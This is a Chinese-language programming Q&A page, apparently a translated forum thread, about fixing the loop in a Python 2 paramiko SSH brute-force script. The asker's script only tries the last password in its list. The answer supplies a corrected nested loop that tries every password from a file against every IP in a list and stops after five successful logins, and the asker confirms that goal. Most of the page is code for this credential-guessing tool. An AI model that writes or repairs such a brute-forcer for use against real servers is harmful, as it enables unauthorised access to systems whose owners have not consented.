虽然循环使用文本文件,但只使用最后一行-Python2.x

虽然循环使用文本文件,但只使用最后一行-Python2.x,python,loops,ssh,while-loop,paramiko,Python,Loops,Ssh,While Loop,Paramiko,为了理解paramiko模块,我一直在编写一个小型SSH暴力工具。但是,在浏览文本文件查看每个密码时,它只是测试文本文件中的最后一个密码。我是否使用了正确的循环?在这种情况下,我将如何使用for循环 import paramiko UserName = 'msfadmin' pass_file = 'pass.txt' ip_file = 'ip.txt' port = 22 Found = 0 pwd = open(pass_file, "r") ips = open(ip_file, "

为了理解paramiko模块,我一直在编写一个小型SSH暴力工具。但是,在浏览文本文件查看每个密码时,它只是测试文本文件中的最后一个密码。我是否使用了正确的循环?在这种情况下,我将如何使用for循环

import paramiko

UserName = 'msfadmin'
pass_file = 'pass.txt'
ip_file = 'ip.txt'
port = 22
Found = 0

pwd = open(pass_file, "r")
ips = open(ip_file, "r")

    def attempt():
        ssh = paramiko.SSHClient()
        ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

        for line in ips.readlines():
            ip = line.strip()
        for line2 in pwd.readlines():
            Passwords = line2.strip()

        while Found != 5:
            global UserName
            global port
            try:
                ssh.connect(ip, port, username=UserName, password=Passwords)
            except paramiko.AuthenticationException:
                print '[-] %s:%s fail!' % (UserName, Passwords)
            else:
                print '[!] %s:%s is CORRECT!' % (UserName, Passwords)

您的两个for循环只需迭代每个对象,并每次更新
ip
Password
变量,以便在完成后,变量引用循环中的最后一个值

然而,对于这些变量,您试图做什么还不清楚,所以我无法告诉您如何修复它。是否要为每个迭代运行脚本的其余部分一次?还是要创建所有元素的列表,然后迭代

for line in ips.readlines():
    ip = line.strip()
for line2 in pwd.readlines():
    Passwords = line2.strip()
您正在获取每一行,并将
ip
passwords
中以前的值替换为当前读取的值。相反,如果IP和密码的数量相对较少,您可以这样做

count = 0
for ip in ips:
    for pwd in open(pass_file, "r"):
        try:
            ssh.connect(ip, port, username=UserName, password=pwd)
        except paramiko.AuthenticationException:
            print '[-] %s:%s fail!' % (UserName, pwd)
        else:
            print '[!] %s:%s is CORRECT for IP %s!' % (UserName, pwd, ip)
            count += 1
            if count == 5:
                return

更新了我的原始帖子抱歉,如果我不够清楚,我只是尝试遍历pass.txt的每一行,并尝试使用IP.txt中的IP登录SSH服务器。我使用循环的原因是我希望它尝试连接,直到找到的IP等于5,这意味着它已成功登录到5台服务器,一旦发现等于5,循环将停止。